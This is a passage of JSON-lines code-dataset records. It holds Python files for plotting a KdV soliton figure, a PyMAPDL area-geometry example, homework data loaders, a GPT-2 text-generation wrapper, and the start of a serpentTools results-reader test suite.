figure\n\n    Function that saves figure or shows interactive plot\n\n    Note:\n    - if no valid option is provided, an interactive plot is shown\n\n    Args:\n      fig_format (str): format to save figure in (options: png, pdf, svg)\n      fig_name (str): name for figure (default: 'test')\n    \"\"\"\n    if fig_format == 'png':\n        plt.savefig(fig_name+'.png', format='png', dpi=600)\n    elif fig_format == 'pdf':\n        plt.savefig(fig_name+'.pdf', format='pdf', dpi=600)\n    elif fig_format == 'svg':\n        plt.savefig(fig_name+'.svg', format='svg')\n    else:\n        plt.show()\n\n\ndef generate_figure(x, t, uxt, fig_format=None, fig_name='fig01'):\n    \"\"\"generate figure\n\n    Function generating a figure reproducing FIG. 1 of [1].\n\n    Refs:\n      [1] Interaction of \"Solitons\" in a Collisionless Plasma and the Recurrence of Initial States,\n          N. J. Zabusky and M. D. Kruskal,\n          Phys. Rev. Lett. 15, 240 (1965)\n\n    Args:\n      x (1D array): x samples\n      t (1D array): t samples\n      uxt (2D array): wave profile u(x,t)\n      fig_format (str): format for output figure\n                        (choices: png, pdf, svg; default: interactive figure)\n      fig_name (str): name for output figure wihtout suffix (default='fig01')\n    \"\"\"\n\n    # (1) SET A STYLE THAT FITS THE TARGET JOURNAL\n    set_style()\n\n    # (2) SET FIGURE LAYOUT\n    fig = plt.figure()\n    plt.subplots_adjust(left = 0.12,    # pos. of subplots left border\n                        bottom = 0.16,  # pos. of subplots bottom border \n                        right = 0.97,   # pos. of subplots right border\n                        top = 0.98      # pos. of subplots top border\n                        )\n    gs00 = GridSpec(nrows = 1, ncols = 1)   # set geometry of subplot grid\n    ax01 = fig.add_subplot(gs00[:,:])       # add subplot\n\n\n    # (3) SET AXES CONTENTS\n    # -- custom constants and local functions\n    tB = 1./np.pi                                   # breakdown time\n    _ux = lambda t0: uxt[np.argmin(np.abs(t-t0))]   # wave form for array index closest to t0 \n\n    # -- plot real-vaued field at selected times \n    l1 = ax01.plot(x, _ux(0.0),    color='blue',  dashes=[1,1], zorder=100, label=r'$t=0$')\n    l2 = ax01.plot(x, _ux(1.0*tB), color='green', dashes=[3,1], zorder=101, label=r'$t=t_{\\mathrm{B}}$')\n    l3 = ax01.plot(x, _ux(3.6*tB), color='black', zorder=102, label=r'$t=3.6\\,t_{\\mathrm{B}}$')\n\n    # -- add legend \n    set_legend(ax01, l1 + l2 + l3)\n\n    # -- set data curve labels\n    ax01.text(1.27, -0.9,               # x,y pos. in data coordinates  \n                r'A',                   # text label    \n                color='blue',           # text color\n                backgroundcolor='none', # backgroundcolor\n                ha='left',              # horizontal alignment\n                va='bottom',            # vertical alignment\n                zorder=10               # layering order in figure\n                )\n    ax01.text(0.60, -0.9, r'B', color='green', backgroundcolor='none',\n                    ha='left', va='bottom', zorder=10)\n    ax01.text(1.75, -0.9, r'C', color='black', backgroundcolor='none',\n                    ha='left', va='bottom', zorder=10)\n\n    # -- set auxiliary dash-dotted lines\n    _f = lambda x: -1.5+1.5*np.where(x>0.8, x, x+2.)\n    ax01.plot(x[x<0.75], _f(x[x<0.75]), color='black',\n                    dashes = [15,1,2,1,2,1], linewidth=0.75)\n    ax01.plot(x[x>0.80], _f(x[x>0.80]), color='black',\n                    dashes = [15,1,2,1,2,1], linewidth=0.75)\n\n    # -- set circles with labels\n    for  idx, x0 in enumerate([0.643, 0.362, 0.098, 0.920, 1.14, 1.37, 1.6, 1.845]):\n        set_circle(ax01, x0, _f(x0) + 0.2, '$%d$'%(idx+1))\n\n    # (4) SET AXIS DETAILS\n    # -- customize x-axis\n    x_lim = (0, 2)\n    x_ticks = (0., 0.5, 1.0, 1.5, 2.0)\n    # -- major ticks\n    ax01.tick_params(\n        axis = 'x',         # axis for which to set ticks \n        direction = 'out',  # place ticks outside\n        length = 3.5,       # tick length in pts.\n        pad = 2,            # tick to label distance in pts.\n        top=False           # no ticks on top spine\n        )\n    ax01.set_xlim(x_lim)\n    ax01.set_xticks(x_ticks)\n    # -- minor ticks\n    ax01.tick_params(\n        axis = 'x',         # axis for which to set ticks\n        which = 'minor',    # address minor ticks\n        length = 2.         # tick length in pts.\n        )\n    ax01.set_xticks(\n        np.linspace(x_lim[0],x_lim[1], int((x_lim[1]-x_lim[0])/0.1), endpoint=False),\n        minor=True\n        )\n    # -- label\n    ax01.set_xlabel(r'Normalized distance $x$')\n\n    # -- customize y-axis\n    y_lim = (-1., 3.)\n    y_ticks = (-1., 0., 1., 2., 3.)\n    # -- major ticks\n    ax01.tick_params(axis='y', direction='out', length=3.5, pad=2, right=False)\n    ax01.set_ylim(y_lim)\n    ax01.set_yticks(y_ticks)\n    # -- minor ticks\n    ax01.tick_params(axis='y', which='minor', length=2.)\n    ax01.set_yticks(np.linspace(y_lim[0], y_lim[1], int((y_lim[1]-y_lim[0])/0.2), endpoint=False), minor=True)\n    # -- label \n    ax01.set_ylabel(r'Real-valued field $u(x,t)$')\n\n    # (5) SET BACKGROUND GRID\n    set_grid(ax01)\n\n    # (6) SAVE FIGURE\n    save_figure(fig_format, fig_name)\n\n\ndef main():\n    x, t, uxt = fetch_data('KdV_raw_data.npz')\n    generate_figure(x, t, uxt, fig_format='png', fig_name='fig01')\n\n\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "543da055cdbe3351a251b18d6685f2b2c3945ea1", "size": 11655, "ext": "py", "lang": "Python", "max_stars_repo_path": "pp_figure_01.py", "max_stars_repo_name": "omelchert/IQOSeminarWeek2020", "max_stars_repo_head_hexsha": "8ecdd9cbbc56fabbfa62b13bff0b4c1634c5a5dd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pp_figure_01.py", "max_issues_repo_name": "omelchert/IQOSeminarWeek2020", "max_issues_repo_head_hexsha": "8ecdd9cbbc56fabbfa62b13bff0b4c1634c5a5dd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pp_figure_01.py", "max_forks_repo_name": "omelchert/IQOSeminarWeek2020", "max_forks_repo_head_hexsha": "8ecdd9cbbc56fabbfa62b13bff0b4c1634c5a5dd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.421875, "max_line_length": 114, "alphanum_fraction": 0.5886743887, "include": true, "reason": "import numpy", "num_tokens": 3257, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3775406828054583, "lm_q2_score": 0.18713268669577832, "lm_q1q2_score": 0.07065020231034405}}
{"text": "\"\"\"\n.. _ref_basic-geometry-areas:\n\nAreas\n-----\nThis example shows how you can use PyMAPDL to create basic geometry\nusing Pythonic PREP7 area commands.\n\n\"\"\"\n\nimport numpy as np\nfrom ansys.mapdl.core import launch_mapdl\n\n# start MAPDL and enter the pre-processing routine\nmapdl = launch_mapdl()\nmapdl.clear()\nmapdl.prep7()\nprint(mapdl)\n\n\n###############################################################################\n# APDL Command: A\n# ~~~~~~~~~~~~~~~\n# Create a simple triangle in the XY plane using three keypoints.\n\nk0 = mapdl.k(\"\", 0, 0, 0)\nk1 = mapdl.k(\"\", 1, 0, 0)\nk2 = mapdl.k(\"\", 0, 1, 0)\na0 = mapdl.a(k0, k1, k2)\nmapdl.aplot(show_lines=True, line_width=5, show_bounds=True, cpos=\"xy\")\n\n\n###############################################################################\n# APDL Command: AL\n# ~~~~~~~~~~~~~~~~\n# Create an area from four lines.\nmapdl.clear()\nmapdl.prep7()\n\nk0 = mapdl.k(\"\", 0, 0, 0)\nk1 = mapdl.k(\"\", 1, 0, 0)\nk2 = mapdl.k(\"\", 1, 1, 0)\nk3 = mapdl.k(\"\", 0, 1, 0)\nl0 = mapdl.l(k0, k1)\nl1 = mapdl.l(k1, k2)\nl2 = mapdl.l(k2, k3)\nl3 = mapdl.l(k3, k0)\nanum = mapdl.al(l0, l1, l2, l3)\nmapdl.aplot(show_lines=True, line_width=5, show_bounds=True, cpos=\"xy\")\n\n\n###############################################################################\n# APDL Command: ADRAG\n# ~~~~~~~~~~~~~~~~~~~\n# Generate areas by dragging a line pattern along a path.\n#\n# Drag a circle between two keypoints to create an area\nmapdl.clear()\nmapdl.prep7()\n\nk0 = mapdl.k(\"\", 0, 0, 0)\nk1 = mapdl.k(\"\", 0, 0, 1)\ncarc = mapdl.circle(k0, 1, k1, arc=90)\nl0 = mapdl.l(k0, k1)\nmapdl.adrag(carc[0], nlp1=l0)\nmapdl.aplot(show_lines=True, line_width=5, show_bounds=True, smooth_shading=True)\n\n\n###############################################################################\n# APDL Command: ASBA\n# ~~~~~~~~~~~~~~~~~~\n# Subtract a ``0.5 x 0.5`` rectangle from a ``1 x 1`` rectangle.\nmapdl.clear()\nmapdl.prep7()\n\nanum0 = mapdl.blc4(0, 0, 1, 1)\nanum1 = mapdl.blc4(0.25, 0.25, 0.5, 0.5)\naout = mapdl.asba(anum0, anum1)\nmapdl.aplot(show_lines=True, line_width=5, show_bounds=True, cpos=\"xy\")\n\n\n###############################################################################\n# Area IDs\n# ~~~~~~~~\n# Return an array of the area IDs\nanum = mapdl.geometry.anum\nanum\n\n\n###############################################################################\n# Area Geometry\n# ~~~~~~~~~~~~~\n# Get the VTK ``PolyData`` containing lines.  This VTK mesh can be\n# saved or plotted.  For more details, visit https://docs.pyvista.com\n#\n# Note that this is a method so you can select the quality of the\n# areas (mesh density), and if you would like a merged output or\n# individual meshes.\nareas = mapdl.geometry.areas(quality=3)\nareas\n\n\n###############################################################################\n# Merged Area Geometry\n# ~~~~~~~~~~~~~~~~~~~~\narea = mapdl.geometry.areas(quality=3, merge=True)\narea\n\n# optionally save the area, or plot it\n# area.save('mesh.vtk')\n# area.plot()\n\n\n###############################################################################\n# Area Selection\n# ~~~~~~~~~~~~~~\n# There are two approaches for selecting areas, the old \"legacy\" style\n# and the new style.  The old style is valuable for those who are\n# comfortable with the existing MAPDL commands, and new style is\n# useful for selecting areas in a pythonic manner.\n#\n# This example generates a series of random squares and selects them\nmapdl.clear()\nmapdl.prep7()\n\n\ndef generate_random_area():\n    start_x, start_y, height, width = np.random.random(4)\n    mapdl.blc4(start_x * 10, start_y * 10, height, width)\n\n\n# create 20 random rectangles\nfor i in range(20):\n    generate_random_area()\n\n# Print the area numbers\nprint(mapdl.geometry.anum)\n\n\n###############################################################################\n# Select every other area with the old style command.\nmapdl.asel(\"S\", \"AREA\", \"\", 1, 20, 2)\nprint(mapdl.geometry.anum)\n\n\n###############################################################################\n# Select every other area with the new style command.\n#\n# Note that the Area IDs are 1 based in MAPDL, while Python ranges are 0 based.\nmapdl.geometry.area_select(range(1, 21, 2))\nprint(mapdl.geometry.anum)\n\n\n###############################################################################\n# Select areas from a list\n#\n# Note that you can ``return_selected`` if you want to see what you\n# have selected.  This is helpful when reselecting from existing\n# areas.\nitems = mapdl.geometry.area_select([1, 5, 10, 20], return_selected=True)\nprint(items)\n\n\n###############################################################################\n# APDL Command: APLOT\n# ~~~~~~~~~~~~~~~~~~~\n# This method uses VTK and pyvista to generate a dynamic 3D plot.\n#\n# There are a variety of plotting options available for all the common\n# plotting methods.  Here, we enable the bounds and show the lines of\n# the plot while increasing the plot quality with the ``quality``\n# parameter.\n#\n# Note that the `cpos` keyword argument can be used to describe the\n# camera direction from the following:\n#\n# - 'iso' - Isometric view\n# - 'xy' - XY Plane view\n# - 'xz' - XZ Plane view\n# - 'yx' - YX Plane view\n# - 'yz' - YZ Plane view\n# - 'zx' - ZX Plane view\n# - 'zy' - ZY Plane view\n\nmapdl.aplot(quality=1, show_bounds=True, cpos=\"iso\", show_lines=True)\n", "meta": {"hexsha": "5cb00aea61a183ece3f680115aa642c0edb35089", "size": 5289, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/02-geometry/02-areas.py", "max_stars_repo_name": "RGPATCHI/pymapdl", "max_stars_repo_head_hexsha": "4b0f98feb9cccde0ac1e712a04345f981d5c0b23", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 194, "max_stars_repo_stars_event_min_datetime": "2016-10-21T08:46:41.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-06T20:39:23.000Z", "max_issues_repo_path": "examples/02-geometry/02-areas.py", "max_issues_repo_name": "NewsamNiu/pymapdl", "max_issues_repo_head_hexsha": "482c960142a612997eb33216731aaa88f1371168", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 463, "max_issues_repo_issues_event_min_datetime": "2021-01-12T14:07:38.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T22:42:25.000Z", "max_forks_repo_path": "examples/02-geometry/02-areas.py", "max_forks_repo_name": "NewsamNiu/pymapdl", "max_forks_repo_head_hexsha": "482c960142a612997eb33216731aaa88f1371168", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 66, "max_forks_repo_forks_event_min_datetime": "2016-11-21T04:26:08.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-28T09:27:27.000Z", "avg_line_length": 28.435483871, "max_line_length": 81, "alphanum_fraction": 0.5534127434, "include": true, "reason": "import numpy", "num_tokens": 1385, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.14223189682786755, "lm_q1q2_score": 0.07056036637024954}}
{"text": "import os\r\nimport numpy as np\r\nfrom models.LinearRegression import LinearRegression\r\nfrom models.LogisticRegression import LogisticRegression\r\nfrom optim.Optimizer import SGD, Momentum, RMSProp\r\n\r\n# =================================================================== #\r\n#                   DO NOT EDIT ANY SINGLE CHARACTER                  #\r\n# =================================================================== #\r\n\r\n\r\ndef load_reg_data(path, filename, target_at_front, normalize=False, shuffle=False):\r\n    fullpath = os.path.join(path, filename)\r\n\r\n    with open(fullpath, 'r') as f:\r\n        lines = f.readlines()\r\n    lines = [s.strip().split(',') for s in lines]\r\n\r\n    header = lines[0]\r\n    data = lines[1:]\r\n\r\n    data = np.array([[float(f) for f in d] for d in data], dtype=np.float32)\r\n    if target_at_front:\r\n        x, y = data[:, 1:], data[:, 0]\r\n    else:\r\n        x, y = data[:, :-1], data[:, -1]\r\n\r\n    num_data = x.shape[0]\r\n    if normalize:\r\n        mins = np.expand_dims(np.min(x, axis=0), 0).repeat(num_data, 0)\r\n        maxs = np.expand_dims(np.max(x, axis=0), 0).repeat(num_data, 0)\r\n        x = (x - mins) / maxs\r\n\r\n    # Add 1 column for bias\r\n    bias = np.ones((x.shape[0], 1), dtype=np.float32)\r\n    x = np.concatenate((bias, x), axis=1)\r\n\r\n    if shuffle:\r\n        perm = np.random.permutation(num_data)\r\n        x = x[perm]\r\n        y = y[perm]\r\n\r\n    return x, y\r\n\r\ndef load_class_data(path, filename, target_at_front, to_binary=False, normalize=False, excludes=None):\r\n    if excludes is None:\r\n        excludes = []\r\n\r\n    fullpath = os.path.join(path, filename)\r\n\r\n    with open(fullpath, 'r') as f:\r\n        lines = f.readlines()\r\n    lines = [s.strip().split(',') for s in lines]\r\n\r\n    header = lines[0]\r\n    raw_data = lines[1:]\r\n    num_feat = len(raw_data[0])\r\n    feat_to_idx = [{} for _ in range(num_feat)]\r\n\r\n    data = []\r\n    for d in raw_data:\r\n        line = []\r\n        for i, f in enumerate(d):\r\n            if i in excludes:\r\n                continue\r\n\r\n            try:\r\n                line.append(float(f))\r\n            except:\r\n                if f in feat_to_idx[i]:\r\n                    f_idx = feat_to_idx[i][f]\r\n                else:\r\n                    f_idx = len(feat_to_idx[i])\r\n                    feat_to_idx[i][f] = f_idx\r\n                line.append(f_idx)\r\n        data.append(line)\r\n\r\n    data = np.array(data, dtype=np.float32)\r\n    if target_at_front:\r\n        x, y = data[:, 1:], data[:, 0].astype(np.int32)\r\n    else:\r\n        x, y = data[:, :-1], data[:, -1].astype(np.int32)\r\n\r\n    num_data = x.shape[0]\r\n    if normalize:\r\n        mins = np.expand_dims(np.min(x, axis=0), 0).repeat(num_data, 0)\r\n        maxs = np.expand_dims(np.max(x, axis=0), 0).repeat(num_data, 0)\r\n        x = (x - mins) / maxs\r\n\r\n    # Add 1 column for bias\r\n    bias = np.ones((x.shape[0], 1), dtype=np.float32)\r\n    x = np.concatenate((bias, x), axis=1)\r\n\r\n    if to_binary:\r\n        y[y > 1] = 1\r\n\r\n    return x, y\r\n\r\ndef ConcreteData(path, filename):\r\n    return load_reg_data(path, filename, target_at_front=False, normalize=True)\r\n\r\ndef GraduateData(path, filename):\r\n    return load_reg_data(path, filename, target_at_front=False, normalize=True)\r\n\r\ndef DigitData(path, filename):\r\n    x, y = load_class_data(path, filename, target_at_front=True, excludes=[1, 2, 3, 4, 5, 7, 8, 9], normalize=False, to_binary=True)\r\n    x = x / 256\r\n    return (x, y)\r\n\r\ndef TitanicData(path, filename):\r\n    return load_class_data(path, filename, target_at_front=True, excludes=[2])\r\n\r\ndef RMSE(h, y):\r\n    if len(h.shape) > 1:\r\n        h = h.squeeze()\r\n    se = np.square(h - y)\r\n    mse = np.mean(se)\r\n    rmse = np.sqrt(mse)\r\n    return rmse\r\n\r\ndef Accuracy(h, y):\r\n    if len(y.shape) == 1:\r\n        y = np.expand_dims(y, 1)\r\n\r\n    total = h.shape[0]\r\n    correct = len(np.where(h==y)[0])\r\n    accuracy = correct / total\r\n\r\n    return accuracy\r\n\r\ndef optimizer(optim_name, epsilon=None, gamma=None):\r\n    if optim_name == 'SGD':\r\n        optim = SGD(gamma=gamma, epsilon=epsilon)\r\n    elif optim_name == 'Momentum':\r\n        optim = Momentum(gamma=gamma, epsilon=epsilon)\r\n    elif optim_name == 'RMSProp':\r\n        optim = RMSProp(gamma=gamma, epsilon=epsilon)\r\n    else:\r\n        raise NotImplementedError\r\n    return optim\r\n\r\nconfig = {\r\n    'Concrete': ('concrete', LinearRegression, RMSE),\r\n    'Graduate': ('graduate', LinearRegression, RMSE),\r\n    'Titanic': ('titanic', LogisticRegression, Accuracy),\r\n    'Digit': ('digit', LogisticRegression, Accuracy)\r\n}\r\n\r\ndef _initialize(data_name):\r\n    dir_name, model, metric = config[data_name]\r\n    path = os.path.join('./data', dir_name)\r\n\r\n    if data_name == 'Concrete':\r\n        train_x, train_y = ConcreteData(path, 'train.csv')\r\n        test_x, test_y = ConcreteData(path, 'test.csv')\r\n    elif data_name == 'Graduate':\r\n        train_x, train_y = GraduateData(path, 'train.csv')\r\n        test_x, test_y = GraduateData(path, 'test.csv')\r\n    elif data_name == 'Digit':\r\n        train_x, train_y = DigitData(path, 'train.csv')\r\n        test_x, test_y = DigitData(path, 'test.csv')\r\n    elif data_name == 'Titanic':\r\n        train_x, train_y = TitanicData(path, 'train.csv')\r\n        test_x, test_y = TitanicData(path, 'test.csv')\r\n    else:\r\n        raise NotImplementedError\r\n\r\n    return (train_x, train_y), (test_x, test_y), model, metric\r\n\r\n\r\nif __name__ == '__main__':\r\n    print('DATASET TEST START\\n')\r\n    graduate_x, graduate_y = GraduateData(os.path.join('./data', 'graduate'), 'train.csv')\r\n    concrete_x, concrete_y = ConcreteData(os.path.join('./data', 'concrete'), 'train.csv')\r\n    digit_x, digit_y = DigitData(os.path.join('./data', 'digit'), 'train.csv')\r\n    titanic_x, titanic_y = TitanicData(os.path.join('./data', 'titanic'), 'train.csv')\r\n\r\n    print('GRADUATE X, Y : ', graduate_x.shape, ',', graduate_y.shape)\r\n    print('CONCRETE X, Y : ', concrete_x.shape, ',', concrete_y.shape)\r\n    print('DIGIT X, Y : ', digit_x.shape, ',', digit_y.shape)\r\n    print('TITANIC X, Y : ', titanic_x.shape, ',', titanic_y.shape)\r\n\r\n    print('\\nDATASET TEST FINISHED\\n')\r\n\r\n\r\n    print('OPTIMIZER TEST START\\n')\r\n\r\n    SGD = optimizer('SGD', 1, 1)\r\n    Momentum = optimizer('Momentum', 1, 1)\r\n    RMSProp = optimizer('RMSProp', 1, 1)\r\n\r\n    print('OPTIMIZER TEST FINISHED\\n')\r\n", "meta": {"hexsha": "7a8a91766568f161e8e7eb71fb3bea1398370653", "size": 6289, "ext": "py", "lang": "Python", "max_stars_repo_path": "MachineLearning/hw1/utils.py", "max_stars_repo_name": "ChoKyuWon/SchoolProjects", "max_stars_repo_head_hexsha": "71a5decefc85ae941ba2d537c4507ba8e615cc34", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "MachineLearning/hw1/utils.py", "max_issues_repo_name": "ChoKyuWon/SchoolProjects", "max_issues_repo_head_hexsha": "71a5decefc85ae941ba2d537c4507ba8e615cc34", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "MachineLearning/hw1/utils.py", "max_forks_repo_name": "ChoKyuWon/SchoolProjects", "max_forks_repo_head_hexsha": "71a5decefc85ae941ba2d537c4507ba8e615cc34", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.585492228, "max_line_length": 133, "alphanum_fraction": 0.5713149944, "include": true, "reason": "import numpy", "num_tokens": 1649, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.14223189137395392, "lm_q1q2_score": 0.07056036366459664}}
{"text": "import torch\nimport random\nimport numpy as np\nfrom GPT2.model import GPT2LMHeadModel\nimport GPT2.utils as utils\nfrom GPT2.config import GPT2Config\nfrom GPT2.sample import sample_sequence, predict_next\nfrom GPT2.encoder import get_encoder\n\nfrom typing import Any, Dict, Optional, Generator, List\n\n\nclass TextGenerator:\n    def __init__(self, state_dict: Dict[str, Any],\n                 seed: Optional[int] = None,\n                 ) -> None:\n        device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")  # type: ignore\n\n        # Load Model\n        config = GPT2Config()\n        enc = get_encoder()\n        model = GPT2LMHeadModel(config)\n        model = utils.load_weight(model, state_dict)\n        model.to(device)\n        model.eval()\n\n        self.device = device\n        self.model = model\n        self.config = config\n        self.enc = enc\n\n        self.start_seed(seed)\n\n    def start_seed(self, seed: Optional[int]) -> None:\n        if seed is None:\n            seed = random.randint(0, 2147483647)\n        np.random.seed(seed)\n        torch.random.manual_seed(seed)\n        torch.cuda.manual_seed(seed)  # type: ignore\n\n    def generate(\n        self,\n        text: Optional[str] = None,\n        nsamples: int = 1,\n        unconditional: bool = False,\n        batch_size: Optional[int] = None,\n        length: Optional[int] = None,\n        temperature: float = 0.7,\n        top_k: int = 40,\n        quiet: bool = True,\n    ) -> Generator[str, None, None]:\n        assert (text is None and unconditional) or (text is not None and not unconditional)\n        if batch_size is None:\n            batch_size = 1\n        assert nsamples % batch_size == 0\n\n        if length is not None and length > self.config.n_ctx:\n            raise ValueError(f\"Can't get samples longer than window size: {self.config.n_ctx}\")\n\n        if text is not None:\n            context_tokens = self.enc.encode(text)\n        else:\n            eof = self.enc.encoder['<|endoftext|>']\n\n        for _ in range(nsamples // batch_size):\n            out = sample_sequence(\n                model=self.model, length=length,\n                context=None if unconditional else context_tokens,\n                start_token=eof if unconditional else None,\n                batch_size=batch_size,\n                temperature=temperature, top_k=top_k, device=self.device,\n                quiet=quiet\n            )\n            if unconditional:\n                new_seq = out[:, len('<|endoftext|>'):].tolist()\n            else:\n                new_seq = out[:, len(context_tokens):].tolist()\n\n            for i in range(batch_size):\n                yield self.enc.decode(new_seq[i])\n\n    def generate_next_options(\n        self,\n        text: str,\n        temperature: float = 1,\n        top_k: int = 0,\n        length: Optional[int] = None\n    ) -> List[str]:\n        context_tokens = self.enc.encode(text)\n        out = predict_next(\n            self.model, context=context_tokens, temperature=temperature,\n            top_k=top_k,\n            length=1 if length is None else length,\n            device=self.device\n        )\n        return [self.enc.decode(opt) for opt in out.tolist()]\n", "meta": {"hexsha": "c61d51dc5e3788ca5ad30dfafa1e8f875dce0b07", "size": 3170, "ext": "py", "lang": "Python", "max_stars_repo_path": "GPT2/textgen.py", "max_stars_repo_name": "helq/gpt-2-Pytorch", "max_stars_repo_head_hexsha": "2cab2053bb47cc7008d6130af87f401553f7470b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "GPT2/textgen.py", "max_issues_repo_name": "helq/gpt-2-Pytorch", "max_issues_repo_head_hexsha": "2cab2053bb47cc7008d6130af87f401553f7470b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "GPT2/textgen.py", "max_forks_repo_name": "helq/gpt-2-Pytorch", "max_forks_repo_head_hexsha": "2cab2053bb47cc7008d6130af87f401553f7470b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.6804123711, "max_line_length": 95, "alphanum_fraction": 0.5842271293, "include": true, "reason": "import numpy", "num_tokens": 710, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713673161914675, "lm_q2_score": 0.1540575685174147, "lm_q1q2_score": 0.07042537335324371}}
{"text": "\"\"\"Test the results reader.\"\"\"\n# pylint: disable=line-too-long\nfrom os import remove\nfrom shutil import copy\nfrom unittest import TestCase\n\nfrom numpy import array\nfrom numpy.testing import assert_array_equal\n\nfrom serpentTools.settings import rc\nfrom serpentTools.data import getFile, readDataFile\nfrom serpentTools.parsers import ResultsReader\nfrom serpentTools.messages import SerpentToolsException\nfrom serpentTools.utils import RESULTS_PLOT_XLABELS\nfrom tests import (\n    plotTest,\n    plotAttrTest,\n)\n\n\nGCU_START_STR = \"GCU_UNIVERSE_NAME\"\nNO_BU_GCU_FILE = \"./pwr_noGcu_res.m\"\nADF_FILE = \"./pwr_adf_res.m\"\nRES_NO_BU = getFile(\"pwr_noBU_res.m\")\n\n\ndef setUpModule():\n    \"\"\"Write the result file with no group constant data.\"\"\"\n    with open(NO_BU_GCU_FILE, 'w') as noGcu, open(RES_NO_BU) as good:\n        for line in good:\n            if GCU_START_STR in line:\n                break\n            noGcu.write(line)\n    copy(RES_NO_BU, ADF_FILE)\n    with open(ADF_FILE, 'a') as stream:\n        stream.write(\"\"\"\n% Assembly discontinuity factors (order: W-S-E-N / NW-NE-SE-SW):\n\nDF_SURFACE                (idx, [1:  3])  = 'ADF' ;\nDF_SYM                    (idx, 1)        = 1 ;\nDF_N_SURF                 (idx, 1)        = 4 ;\nDF_N_CORN                 (idx, 1)        = 4 ;\nDF_VOLUME                 (idx, 1)        =  4.62250E+02 ;\nDF_SURF_AREA              (idx, [1:  4])  = [ 2.15000E+01  2.15000E+01  2.15000E+01  2.15000E+01 ];\nDF_MID_AREA               (idx, [1:  4])  = [ 2.15000E+00  2.15000E+00  2.15000E+00  2.15000E+00 ];\nDF_CORN_AREA              (idx, [1:  4])  = [ 2.15000E+00  2.15000E+00  2.15000E+00  2.15000E+00 ];\nDF_SURF_IN_CURR           (idx, [1:  16]) = [  1.19014E+15 0.00046  1.99543E+14 0.00114  1.19014E+15 0.00046  1.99543E+14 0.00114  1.19014E+15 0.00046  1.99543E+14 0.00114  1.19014E+15 0.00046  1.99543E+14 0.00114 ];\n\"\"\") # noqa\n\n\ndef tearDownModule():\n    \"\"\"Remove the noGcu file.\"\"\"\n    remove(NO_BU_GCU_FILE)\n    remove(ADF_FILE)\n\n\nclass Serp2129Helper(TestCase):\n    \"\"\"Sets the serpentVersion to 2.1.29 for reading\"\"\"\n\n    def setUp(self):\n        rc['serpentVersion'] = '2.1.29'\n\n    def tearDown(self):\n        rc['serpentVersion'] = '2.1.30'\n\n\nclass TestBadFiles(Serp2129Helper):\n    \"\"\"\n    Test bad files.\n\n    Tests:\n        1. test_noResults: file with no results\n        2. test_noUniverses: file with no universes\n\n    Raises SerpentToolsException\n    \"\"\"\n\n    def test_noResults(self):\n        \"\"\"Verify that the reader raises error when no results exist in the file\"\"\" # noqa\n        badFile = 'bad_results_file.m'\n        with open(badFile, 'w') as badObj:\n            for _line in range(5):\n                badObj.write(str(_line))\n        badReader = ResultsReader(badFile)\n        with self.assertRaises(SerpentToolsException):\n            badReader.read()\n        remove(badFile)\n\n    def test_emptyFile_noGcu(self):\n        \"\"\"\n        Verify an exception is raised for empty files w/ no gcu data expected.\n        \"\"\"\n        badFile = 'bad_results_file.m'\n        with open(badFile, 'w') as badObj:\n            for _line in range(5):\n                badObj.write(str(_line))\n        badReader = ResultsReader(badFile)\n        with self.assertRaises(SerpentToolsException):\n            badReader.read()\n        remove(badFile)\n\n    def test_emptyAttributes(self):\n        \"\"\"Verify that the reader raises error when all attributes are empty\"\"\"\n        testFile = getFile('pwr_emptyAttributes_res.m')\n        with self.assertRaises(SerpentToolsException):\n            with rc:\n                rc['xs.variableExtras'] = ['GC_UNIVERSE_NAME']\n                testReader = ResultsReader(testFile)\n                testReader.read()\n\n\nclass TestGetUniv(TestCase):\n    \"\"\"\n    Test the getUniv method.\n\n    Tests:\n        1. test_allVarsNone: burnup, index and timeDays are all set to None\n        2. test_nonPostiveIndex: index is zero or negative\n        3. test_noUnivState: define ('0',bu,idx,days) a non-existing state\n        4. test_validUniv: test that a valid universe state contains\n           proper data\n\n    Raises  SerpentToolsException\n                    All variables are set to None\n            KeyError\n                    index is non-positive\n                    no universe state exist in the reader\n    \"\"\"\n    def setUp(self):\n        self.file = getFile('pwr_res.m')\n        